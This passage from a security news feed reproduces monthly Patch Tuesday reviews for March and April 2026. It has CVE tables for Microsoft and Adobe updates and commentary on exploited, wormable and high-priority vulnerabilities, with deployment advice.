CVE-2026-25171 Windows Authentication Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-23671 Windows Bluetooth RFCOM Protocol Driver Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-24292 Windows Connected Devices Platform Service Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-24295 Windows Device Association Service Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-24296 Windows Device Association Service Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-25189 Windows DWM Core Library Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-25174 Windows Extensible File Allocation Table Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-25168 Windows Graphics Component Denial of Service Vulnerability Important 6.2 No No DoS
CVE-2026-25169 Windows Graphics Component Denial of Service Vulnerability Important 6.2 No No DoS
CVE-2026-23668 Windows Graphics Component Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-25180 Windows Graphics Component Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-25170 Windows Hyper-V Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-24297 Windows Kerberos Security Feature Bypass Vulnerability Important 6.5 No No SFB
CVE-2026-24287 Windows Kernel Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-24289 Windows Kernel Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-26132 Windows Kernel Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-24288 Windows Mobile Broadband Driver Remote Code Execution Vulnerability Important 6.8 No No RCE
CVE-2026-25175 Windows NTFS Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-23669 Windows Print Spooler Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2026-24290 Windows Projected File System Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-23673 Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-25172 Windows Routing and Remote Access Service (RRAS) Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2026-25173 Windows Routing and Remote Access Service (RRAS) Remote Code Execution Vulnerability Important 8 No No RCE
CVE-2026-26111 Windows Routing and Remote Access Service (RRAS) Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2026-25185 Windows Shell Link Processing Spoofing Vulnerability Important 5.3 No No Spoofing
CVE-2026-24294 Windows SMB Server Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-26128 Windows SMB Server Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-25166 Windows System Image Manager Assessment and Deployment Kit (ADK) Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-25188 Windows Telephony Service Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2026-23672 Windows Universal Disk Format File System Driver (UDFS) Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-25187 Winlogon Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-3536 * Chromium: CVE-2026-3536 Integer overflow in ANGLE Critical N/A No No RCE
CVE-2026-3538 * Chromium: CVE-2026-3538 Integer overflow in Skia Critical N/A No No RCE
CVE-2026-3539 * Chromium: CVE-2026-3539 Object lifecycle issue in DevTools High N/A No No RCE
CVE-2026-3540 * Chromium: CVE-2026-3540 Inappropriate implementation in WebAudio High N/A No No RCE
CVE-2026-3541 * Chromium: CVE-2026-3541 Inappropriate implementation in CSS High N/A No No RCE
CVE-2026-3542 * Chromium: CVE-2026-3542 Inappropriate implementation in WebAssembly High N/A No No RCE
CVE-2026-3543 * Chromium: CVE-2026-3543 Inappropriate implementation in V8 High N/A No No RCE
CVE-2026-3544 * Chromium: CVE-2026-3544 Heap buffer overflow in WebCodecs High N/A No No RCE
CVE-2026-3545 * Chromium: CVE-2026-3545 Insufficient data validation in Navigation High N/A No No RCE

* Indicates this CVE had been released by a third party and is now being included in Microsoft releases.

† Indicates further administrative actions are required to fully address the vulnerability.

 

Looking at the other Critical-rated bugs in this month’s release, they are all cloud-native and require no user action. Microsoft has already remediated the vulnerabilities.

Moving on to the other code execution bugs, the vulnerabilities in SharePoint Server pop out first. Both require authentication, but it’s essentially the lowest level of authentication, so these would be ideal cases for lateral movement within an enterprise. There are the standard open-and-own cases within Office components. There an interesting sounding bug in the Windows Mobile Broadband Driver that requires physical access, but Microsoft doesn’t elaborate on the attack scenario beyond that fact. The bug in the System Image Manager Assessment and Deployment Kit (ADK) requires authentication. The bug in GDI requires user interaction. The remaining code execution bugs are in the RRAS protocol. We’ve seen bugs in this component in the past, but never in the wild. I wouldn’t ignore these, but I wouldn’t rush them out either.

Similar to last month, updates for Elevation of Privilege (EoP) bugs make up nearly half of this month’s release. And as we saw last month, but most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges. The bugs in SQL Server allow attackers to elevate to SQL sysadmin privileges. The bug in the Azure MCP Server is more complex. It allows attackers to obtain the permissions associated with the MCP Server’s managed identity, which lets them perform actions that the managed identity is able to reach. The bug in the Azure AD SSH Login extension for Linux leads to root access, and it won’t be easy to patch. You’ll need to run the update instructions from the command line on each affected system. That’s the same case for the bug in the Linux Azure Diagnostic extension (LAD). There’s an odd bug in the Hybrid Worker Extension (Arc‑enabled Windows VMs) that leads to “ELEVATED” privileges, which is something I’ve never seen before. The bug in the Broadcast DVR component allows an attacker to go from low integrity level up to medium. There’s a bug listed as an EoP in the Push message Routing Service, but reading the description, Microsoft notes it could lead to an information disclosure. It’s likely this is an error and should be an Information Disclosure bug. The final EoP is in the Azure Portal Windows Admin Center and leads to SYSTEM. However, there’s no patch to remediate this bug. Instead, you need to install the latest version of the Windows Admin Center extension through the Azure Portal by hand.

There are two security feature bypass patches in the March release. The first is a bypass of the MapURLToZone method, which (as expected) allows attackers to bypass MapURLToZone protections. The third bypass is in Kerberos and could allow an attacker to either view some sensitive information or make changes to “disclosed” information. This is a race condition that occurs while the group policy is being reapplied, so the window to exploit this would be extremely small.

Looking at the remaining info disclosure bugs getting patched this month, only two result in info leaks consisting of unspecified memory contents or memory addresses. Ther others provide more interesting results. There are three bugs in the Azure IoT Explorer have some wide-ranging implications. According to Microsoft, exploitation could result in, “device connection information, authentication tokens, request data, file paths, and other information transmitted between the application and the IoT Hub.” The bug in Authenticator almost reads like a security feature bypass, as exploit results in the disclosure of a one‑time sign‑in code or authentication deep link. The attacker would receive the sign‑in information and could potentially use it to authenticate as the user, allowing access to information or services available to that account. The last info disclosure bug is in the Accessibility Infrastructure and allows an attacker to gain secrets or privileged information belonging to the user of the affected application.

There are only four spoofing bugs in the March release. The first is in SharePoint server and manifests as an XSS. The second bug is a Server-Side Request Forgery (SSRF) in the Azure IoT Explorer. The remaining two are a bit more cryptic. The bug in Windows Shell Link Processing results from the “exposure of sensitive information to an unauthorized actor,” and could lead to spoofing. That sounds like credential exposure, but it’s not explicitly called out. The final spoofing bug results from the insufficient verification of data authenticity in Windows App Installer. Again, this sounds vaguely like credential reflection, but without further information, we can only speculate.

Finally, there are four denial-of-service (DoS) bugs in the release, including one that’s listed as publicly known in the .NET Framework. As usual, Microsoft provides no actionable information about these bugs.

No new advisories are being released this month.

Looking Ahead

I plan on being at RSA for the first time in my career, so if you’re around, please stop by and say hello. I like it when people say hello. Otherwise, I’ll be back on April 14 with my assessment of that patch Tuesday release. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!

]]> <![CDATA[The April 2026 Security Update Review]]> https://tsecurity.de/de/3694470/it-security-nachrichten/the-april-2026-security-update-review/ https://tsecurity.de/de/3694470/it-security-nachrichten/the-april-2026-security-update-review/ Sat, 25 Jul 2026 19:00:42 +0200 📰 IT Security Nachrichten tsecurity.de It’s time once again for Patch Tuesday, and this one is huge. We’ve also got multiple exploits in the wild, which adds another layer of urgency to this month’s release. Take a break from your regularly scheduled activities, and let’s take a look at the latest security patches from Adobe and Microsoft. If you’d rather watch the full video recap covering the entire release, you can check it out here:

Adobe Patches for April 2026

For April, Adobe released 12 bulletins addressing 61 unique CVEs in Adobe Acrobat Reader, InDesign, InCopy, FrameMaker, Connect, ColdFusion, Bridge, Photoshop, Illustrator, Experience Manager Screens, and the Adobe DNG SDK. Three of the Cold Fusion bugs came through the TrendAI ZDI program. For this month, I’m introducing an Adobe table as well. I’d love to get your feedback on whether this is helpful.

Bulletin ID Product CVE Count Highest Severity Highest CVSS Exploited Deployment Priority
APSB26-43 Adobe Acrobat Reader 1 Critical 8.6 Yes 1
APSB26-44 Adobe Acrobat Reader 2 Critical 8.6 No 2
APSB26-32 Adobe InDesign 9 Critical 7.8 No 3
APSB26-33 Adobe InCopy 2 Critical 7.8 No 3
APSB26-36 Adobe FrameMaker 11 Critical 8.6 No 3
APSB26-37 Adobe Connect 9 Critical 9.6 No 3
APSB26-38 Adobe ColdFusion 7 Critical 9.3 No 1
APSB26-39 Adobe Bridge 6 Critical 7.8 No 3
APSB26-40 Adobe Photoshop 1 Critical 7.8 No 3
APSB26-42 Adobe Illustrator 1 Critical 7.8 No 3
APSB26-34 Adobe Experience Manager Screens 9 Important 5.4 No 3
APSB26-41 Adobe DNG SDK 3 Important 5.5 No 3

Obviously, the active attack in Reader is the highest priority for this month, but don’t ignore the second bunch of Reader patches. Cold Fusion also gets a deployment priority of 1, so if you’re still running that platform, make sure you get the update. Otherwise, the FrameMaker and Connect patches fix 11 and nine bugs, respectively. InDesign and Experience Manager Screens also have nine CVEs addressed.

Outside of the Reader bug, none of the other bugs fixed by Adobe this month are listed as publicly known or under active attack at the time of release. One of the Reader bugs and Cold Fusion have a deployment priority of one, the other Reader bug has a priority of two, while all of the other updates released by Adobe this month are listed as deployment priority 3.

Microsoft Patches for April 2026

This month, Microsoft released a monstrous 163 new CVEs in Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, SQL Server, Hyper-V Server, BitLocker, and the Windows Wallet Service. Counting the third-party and a huge Chromium release, it brings the total number of CVEs to a staggering 247 updates. Six of these bugs were reported through the TrendAI ZDI program. Eight of these bugs are rated Critical, two are rated as Moderate, and the rest are rated Important in severity.

By my count, this is the second-largest monthly release in Microsoft’s history. There are many things we could speculate on to justify the size, but if Microsoft is like the other programs out there (including ours), they are likely seeing a rise in submissions found by AI tools. For us, our incoming rate has essentially tripled, making triage a challenge, to say the least. Whatever the reason, we have a lot of bugs to deal with this month. I should also point out that the Pwn2Own Berlin occurs next month, and it’s typical for vendors to patch as much as they can before the event.

There is one Microsoft bug listed as under active attack at the time of release, and one other that’s publicly known. Let’s take a closer look at some of the more interesting updates for this month, starting with the vulnerability being exploited in the wild:

-    CVE-2026-32201 - Microsoft SharePoint Server Spoofing Vulnerability
Microsoft doesn’t provide a lot of information about this bug, but Spoofing bugs in SharePoint often manifest as cross-site scripting (XSS) bugs. They do note that attackers could view information or make changes to disclosed information. As always, they don’t provide any information on how widespread these attacks are, but I wouldn’t wait to test and deploy this fix – especially if you have internet-connected SharePoint servers.

-    CVE-2026-33825 - Microsoft Defender Elevation of Privilege Vulnerability
This bug is listed as publicly known, and this time, we know exactly where it was disclosed. There have been some questions about how exploitable this bug may be, but it does look like it’s a real problem – just with some reliability issues in its current state. I won’t add on to the commentary from the researcher about working with Microsoft. I’m just glad they are offering a fix for the vulnerability. If you rely on Defender, test and deploy this one quickly.

-   CVE-2026-33827 - Windows TCP/IP Remote Code Execution Vulnerability
This vulnerability allows remote, unauthenticated attackers to exploit code on affected systems without user interaction. That adds up to a wormable bug – at least on systems with IPv6 and IPSec enabled. It is a race condition, which sets exploitability to High on the CVSS scale, but we see race conditions exploited at Pwn2Own all the time, so don’t rely on that obstacle. If you’re running IPv6, I would test and deploy this fix quickly before public exploits become available.

-    CVE-2026-33824 - Windows Internet Key Exchange (IKE) Service Extensions Remote Code Execution Vulnerability
Speaking of wormable bugs, here’s our second one this month. By the title, we can tell that systems with IKE enabled are affected, but that leaves plenty of targets for attackers. Microsoft also notes a significant mitigation for this bug. Blocking UDP ports 500 and 4500 at the perimeter prevents external attackers from reaching the affected service. However, insiders could still target this for lateral movement within an enterprise. For enterprises using IKE, get this fix tested and deployed with haste.

Here’s the full list of CVEs released by Microsoft for April 2026:

April 2026 Patch Tuesday
CVE Title Severity CVSS Public Exploited Type
CVE-2026-32201 Microsoft SharePoint Server Spoofing Vulnerability Important 6.5 No Yes Spoofing
CVE-2026-5281 * Chromium: CVE-2026-5281 Use after free in Dawn High N/A No Yes RCE
CVE-2026-33825 Microsoft Defender Elevation of Privilege Vulnerability Important 7.8 Yes No EoP
CVE-2026-23666 .NET Framework Denial of Service Vulnerability Critical 7.5 No No DoS
CVE-2026-32190 Microsoft Office Remote Code Execution Vulnerability Critical 8.4 No No RCE
CVE-2026-33114 Microsoft Word Remote Code Execution Vulnerability Critical 8.4 No No RCE
CVE-2026-33115 Microsoft Word Remote Code Execution Vulnerability Critical 8.4 No No RCE
CVE-2026-32157 Remote Desktop Client Remote Code Execution Vulnerability Critical 8.8 No No RCE
CVE-2026-33826 Windows Active Directory Remote Code Execution Vulnerability Critical 8 No No RCE
CVE-2026-33824 Windows Internet Key Exchange (IKE) Service Extensions Remote Code Execution Vulnerability Critical 9.8 No No RCE
CVE-2026-33827 Windows TCP/IP Remote Code Execution Vulnerability Critical 8.1 No No RCE
CVE-2026-26171 .NET Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2026-32226 .NET Framework Denial of Service Vulnerability Important 5.9 No No DoS
CVE-2026-32178 .NET Spoofing Vulnerability Important 7.5 No No Spoofing
CVE-2026-32203 .NET and Visual Studio Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2026-33116 .NET, .NET Framework, and Visual Studio Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2023-20585 * AMD: CVE-2023-20585 IOMMU Write Buffer Vulnerability Important 5.3 No No RCE
CVE-2026-32072 Active Directory Spoofing Vulnerability Important 6.2 No No Spoofing
CVE-2026-25184 Applocker Filter Driver (applockerfltr.sys) Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-32171 Azure Logic Apps Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2026-32168 Azure Monitor Agent Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-32192 Azure Monitor Agent Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-32181 Connected User Experiences and Telemetry Service Denial of Service Vulnerability Important 5.5 No No DoS
CVE-2026-27924 Desktop Window Manager Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-32152 Desktop Window Manager Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-32154 Desktop Window Manager Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-27923 Desktop Window Manager Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-32155 Desktop Window Manager Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-23653 GitHub Copilot and Visual Studio Code Information Disclosure Vulnerability Important 5.7 No No Info
CVE-2026-23653 * GitHub: CVE-2026-32631 'git clone' from manipulated repositories can leak NTLM hashes Important 7.4 No No Info
CVE-2026-33096 HTTP.sys Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2026-25250 * MITRE: CVE-2026-25250 Secure Boot disable Eazy Fix Important 6 No No SFB
CVE-2026-26181 Microsoft Brokering File System Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-32219 Microsoft Brokering File System Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-32091 Microsoft Brokering File System Elevation of Privilege Vulnerability Important 8.4 No No EoP
CVE-2026-26152 Microsoft Cryptographic Services Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-33103 Microsoft Dynamics 365 (On-Premises) Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-32188 Microsoft Excel Information Disclosure Vulnerability Important 7.1 No No Info
CVE-2026-32189 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-32197 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-32198 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-32199 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-32184 Microsoft High Performance Compute (HPC) Pack Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-26155 Microsoft Local Security Authority Subsystem Service Information Disclosure Vulnerability Important 6.5 No No Info
CVE-2026-27914 Microsoft Management Console Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-26149 Microsoft Power Apps Security Feature Bypass Important 9 No No SFB
CVE-2026-32200 Microsoft PowerPoint Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-26143 Microsoft PowerShell Security Feature Bypass Vulnerability Important 7.8 No No SFB
CVE-2026-33120 † Microsoft SQL Server Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2026-20945 Microsoft SharePoint Server Spoofing Vulnerability Important 4.6 No No Spoofing
CVE-2026-33822 Microsoft Word Information Disclosure Vulnerability Important 6.1 No No Info
CVE-2026-33095 Microsoft Word Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-23657 Microsoft Word Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-32081 Package Catalog Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-26170 PowerShell Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-26183 Remote Access Management service/API (RPC server) Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-26160 Remote Desktop Licensing Service Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-26159 Remote Desktop Licensing Service Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-26151 Remote Desktop Spoofing Vulnerability Important 7.1 No No Spoofing
CVE-2026-32085 Remote Procedure Call Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-32167 SQL Server Elevation of Privilege Vulnerability Important 6.7 No No EoP
CVE-2026-32176 SQL Server Elevation of Privilege Vulnerability Important 6.7 No No EoP
CVE-2026-0390 UEFI Secure Boot Security Feature Bypass Vulnerability Important 6.7 No No SFB
CVE-2026-32220 UEFI Secure Boot Security Feature Bypass Vulnerability Important 4.4 No No SFB
CVE-2026-32212 Universal Plug and Play (upnp.dll) Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-32214 Universal Plug and Play (upnp.dll) Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-32079 Web Account Manager Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-33104 Win32k Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-32196 Windows Admin Center Spoofing Vulnerability Important 6.1 No No Spoofing
CVE-2026-26178 Windows Advanced Rasterization Platform Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2026-32073 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-26168 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-26173 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-26177 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-26182 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-27922 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-33099 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-33100 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-32088 Windows Biometric Service Security Feature Bypass Vulnerability Important 6.1 No No SFB
CVE-2026-27913 Windows BitLocker Security Feature Bypass Vulnerability Important 7.7 No No SFB
CVE-2026-26175 Windows Boot Manager Security Feature Bypass Vulnerability Important 4.6 No No SFB
CVE-2026-32162 Windows COM Elevation of Privilege Vulnerability Important 8.4 No No EoP
CVE-2026-20806 Windows COM Server Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-26176 Windows Client Side Caching driver (csc.sys) Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-27926 Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-32070 Windows Common Log File System Driver Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-33098 Windows Container Isolation FS Filter Driver Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-26153 Windows Encrypted File System (EFS) Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-32087 Windows Function Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-32093 Windows Function Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-32086 Windows Function Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-32150 Windows Function Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-27931 Windows GDI Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-27930 Windows GDI Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-32221 Windows Graphics Component Remote Code Execution Vulnerability Important 8.4 No No RCE
CVE-2026-27906 Windows Hello Security Feature Bypass Vulnerability Important 4.4 No No SFB
CVE-2026-27928 Windows Hello Security Feature Bypass Vulnerability Important 8.7 No No SFB
CVE-2026-26156 Windows Hyper-V Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-32149 Windows Hyper-V Remote Code Execution Vulnerability Important 7.3 No No RCE
CVE-2026-27910 Windows Installer Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-27912 Windows Kerberos Elevation of Privilege Vulnerability Important 8 No No EoP
CVE-2026-26179 Windows Kernel Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-26180 Windows Kernel Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-32195 Windows Kernel Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-26163 Windows Kernel Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-32215 Windows Kernel Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-32217 Windows Kernel Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-32218 Windows Kernel Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-26169 Windows Kernel Memory Information Disclosure Vulnerability Important 6.1 No No Info
CVE-2026-27929 Windows LUA File Virtualization Filter Driver Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-32071 Windows Local Security Authority Subsystem Service (LSASS) Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2026-20930 Windows Management Services Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-26162 Windows OLE Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-33101 Windows Print Spooler Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-32084 Windows Print Spooler Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-27927 Windows Projected File System Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-26184 Windows Projected File System Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-32069 Windows Projected File System Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-32074 Windows Projected File System Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-32078 Windows Projected File System Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-26167 Windows Push Notifications Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2026-32158 Windows Push Notifications Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-32159 Windows Push Notifications Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-32160 Windows Push Notifications Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-26172 Windows Push Notifications Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-20928 Windows Recovery Environment Security Feature Bypass Vulnerability Important 4.6 No No SFB
CVE-2026-32216 Windows Redirected Drive Buffering System Denial of Service Vulnerability Important 5.5 No No DoS
CVE-2026-27909 Windows Search Service Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-26161 Windows Sensor Data Service Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-26174 Windows Server Update Service (WSUS) Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-32224 Windows Server Update Service (WSUS) Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-26154 Windows Server Update Service (WSUS) Tampering Vulnerability Important 7.5 No No Tampering
CVE-2026-26165 Windows Shell Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-26166 Windows Shell Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-27918 Windows Shell Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-32151 Windows Shell Information Disclosure Vulnerability Important 6.5 No No Info
CVE-2026-32225 Windows Shell Security Feature Bypass Vulnerability Important 8.8 No No SFB
CVE-2026-32202 Windows Shell Spoofing Vulnerability Important 4.3 No No Spoofing
CVE-2026-32082 Windows Simple Search and Discovery Protocol (SSDP) Service Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-32083 Windows Simple Search and Discovery Protocol (SSDP) Service Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-32068 Windows Simple Search and Discovery Protocol (SSDP) Service Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-32183 Windows Snipping Tool Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-32089 Windows Speech Brokered Api Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-32090 Windows Speech Brokered Api Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-32153 Windows Speech Runtime Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-27907 Windows Storage Spaces Controller Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-32076 Windows Storage Spaces Controller Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-27908 Windows TDI Translation Driver (tdx.sys) Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-27921 Windows TDI Translation Driver (tdx.sys) Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-27915 Windows UPnP Device Host Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-27919 Windows UPnP Device Host Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-32075 Windows UPnP Device Host Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-27916 Windows UPnP Device Host Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-27920 Windows UPnP Device Host Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-32077 Windows UPnP Device Host Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-27925 Windows UPnP Device Host Information Disclosure Vulnerability Important 6.5 No No Info
CVE-2026-32156 Windows UPnP Device Host Remote Code Execution Vulnerability Important 7.4 No No RCE
CVE-2026-32223 Windows USB Printing Stack (usbprint.sys) Elevation of Privilege Vulnerability Important 6.8 No No EoP
CVE-2026-32165 Windows User Interface Core Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-27911 Windows User Interface Core Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-32163 Windows User Interface Core Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-32164 Windows User Interface Core Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-23670 Windows Virtualization-Based Security (VBS) Security Feature Bypass Vulnerability Important 5.7 No No SFB
CVE-2026-27917 Windows WFP NDIS Lightweight Filter Driver (wfplwfs.sys) Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-32080 Windows WalletService Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-32222 Windows Win32k Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-21637 * HackerOne: CVE-2026-21637 TLS PSK/ALPN Callback Exceptions Bypass Error Handlers Moderate 7.5 No No SFB
CVE-2026-33119 Microsoft Edge (Chromium-based) for Android Spoofing Vulnerability Moderate 5.4 No No Spoofing
CVE-2026-33829 Windows Snipping Tool Spoofing Vulnerability Moderate 4.3 No No Spoofing
CVE-2026-5858 * Chromium: CVE-2026-5858 Heap buffer overflow in WebML Critical N/A No No RCE
CVE-2026-5859 * Chromium: CVE-2026-5859 Integer overflow in WebML Critical N/A No No RCE
CVE-2026-5272 * Chromium: CVE-2026-5272 Heap buffer overflow in GPU High N/A No No RCE
CVE-2026-5273 * Chromium: CVE-2026-5273 Use after free in CSS High N/A No No RCE
CVE-2026-5274 * Chromium: CVE-2026-5274 Integer overflow in Codecs High N/A No No RCE
CVE-2026-5275 * Chromium: CVE-2026-5275 Heap buffer overflow in ANGLE High N/A No No RCE
CVE-2026-5276 * Chromium: CVE-2026-5276 Insufficient policy enforcement in WebUSB High N/A No No SFB
CVE-2026-5277 * Chromium: CVE-2026-5277 Integer overflow in ANGLE High N/A No No RCE
CVE-2026-5279 * Chromium: CVE-2026-5279 Object corruption in V8 High N/A No No RCE
CVE-2026-5280 * Chromium: CVE-2026-5280 Use after free in WebCodecs High N/A No No RCE
CVE-2026-5283 * Chromium: CVE-2026-5283 Inappropriate implementation in ANGLE High N/A No No SFB
CVE-2026-5284 * Chromium: CVE-2026-5284 Use after free in Dawn High N/A No No RCE
CVE-2026-5285 * Chromium: CVE-2026-5285 Use after free in WebGL High N/A No No RCE
